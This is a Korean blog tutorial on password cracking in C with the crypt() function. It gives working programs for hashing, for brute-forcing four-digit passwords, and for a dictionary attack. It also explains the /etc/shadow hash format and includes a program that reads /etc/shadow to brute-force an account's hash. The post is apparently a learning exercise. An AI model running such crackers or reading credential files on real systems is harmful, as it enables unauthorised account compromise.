코딩/C

Password crack

비니화이팅 2018. 1. 13. 21:19

crypt함수

crypt함수는 패스워드와 솔트 값을 받아 해시값을 생성하는 함수이다.

char *crypt(const char *key, const char *salt); 

생성된 해시 값의 앞 두자리가 솔트 값이다.

 

사용하려면 아래와 같이 crypt.h헤더파일을 추가해줘야 한다.

 #include

 <crypt.h>

 

 

컴파일시 아래와 같이 -lcrypt옵션을 추가해야 한다.

 gcc -o [실행 파일명] [c 파일명] -lcrypt 

 

솔트 값

패스워드가 같으면 해시를 적용한 결과도 같기 때문에 해결책으로 솔트 값을 넣어 다른 값이 나오도록 한다.

즉, 해쉬와 암호화에 사용되는 첨가문이다.

 

[1]

-> 인자로 패스워드와 솔트 값을 주었을 때 해시값을 생성하여 출력

#include <stdio.h>
#include <crypt.h>

int main(int argc, char* argv[])
{
        printf("%s\n", crypt(argv[1], argv[2]));
        return 0;
}
Colored
 

 

[2]

-> 전달받은 해쉬 값의 패스워드를 찾기- Brute Force Attack

    (패스워드는 숫자 4자리로 이뤄져 있다고 가정)

#include <stdio.h>
#include <string.h>
#include <crypt.h>

int main(int argc, char* argv[])
{
        char passwd[5];
        char salt[3];
        int i;

        strncpy(salt, argv[1], 2);

        for(i=0; i<9999; i++)
        {
                sprintf(passwd, "%d", i);
                if(!(strcmp(argv[1], crypt(passwd, salt))))
                {
                        printf("Hash: %s, Password:%s\n", argv[1], passwd);
                        break;
                }
        }
        return 0;
}
 

 

[3]

인자로 사전파일과 해시값을 입력받아 패스워드를 크랙 - Dictionary Attack

#include <stdio.h>
#include <string.h>
#include <crypt.h>
#include <stdlib.h>

int main(int argc, char* argv[])
{
    FILE * word;
    char passwd[10], salt[3];
    char * hash;

    if(argc!=3)
    {
        printf("Usage: %s <Word File> <Hash>\n", argv[0]);
        exit(1);
    }

    word=fopen(argv[1], "r");

    if(word==NULL)
    {
        printf("This file does not exist.\n\n");
        exit(1);
    }

    strncpy(salt, argv[2], 2);
        salt[2]='\0';

    while(fgets(passwd, sizeof(passwd), word)!=NULL)
    {
        passwd[strlen(passwd)-1]='\0';
        hash=crypt(passwd, salt);
        printf("%10s => %s\n", passwd, hash);

        if(!strcmp(argv[2], hash))    
        {
            printf("Hash: %s, Password: %s\n", argv[2], passwd);
            fclose(word);
            exit(0);
        }
    }
    printf("No matching password.\n");
    fclose(word);
    return 0;
}
 

 

 

/etc/shadow파일의 패스워드 필드

 해시 알고리즘$솔트값$해시값 

 

해시 알고리즘

$1 

$2 

$5 

$6 

 MD5

(RedHat)

Blowfish 

SHA-256 

SHA-512

(CentOS) 

 

[4] 

인자로 입력한 계정의 패스워드를 알아내기 - Brute Force Attack

(패스워드는 숫자 4자리로 이루어져 있고, 관리자 계정이므로 /etc/shadow파일에 접근할 수 있다고 가정)

#include <stdio.h>
#include <string.h>
#include <crypt.h>

void get_values(char* id);
void get_passwd();

static char salt[12];
static char hashvalue[87];
int i;

int main(int argc, char* argv[])
{    
    get_values(argv[1]);
    get_passwd();

    return 0;
}
void get_values(char* id)    // /etc/shadow파일에서 salt값,해시결과값 얻어오는 함수
{
    FILE *fp;
    char *ptr;
    char buff[200];

    fp=fopen("/etc/shadow", "r");

    while(!feof(fp))
    {
        fgets(buff, 200, fp);
        if(strstr(buff, id))
        {    
            break;
        }
    }
    
    ptr = strtok(buff, ":");
    ptr = strtok(NULL, ":");
    
    for(i=0; i<=10; i++)
    {
        salt[i]=*ptr;
        ptr++;
    }
    salt[i]='\0';
    
    ptr++;
    for(i=0; i<=86; i++)
    {
        hashvalue[i]=*ptr;
        ptr++;
    }
    hashvalue[i]='\0';
}

void get_passwd()    //크랙한 패스워드 출력하는 함수
{
    char passwd[5];
    char* hashValue;
    
    for(i=0; i<=9999; i++)
    {
        sprintf(passwd, "%d", i);
        hashValue=crypt(passwd, salt);
        if(!(strcmp(hashvalue, hashValue+12)))
        {
            printf("Password : %s\n", passwd);
            break;
        }
    }
}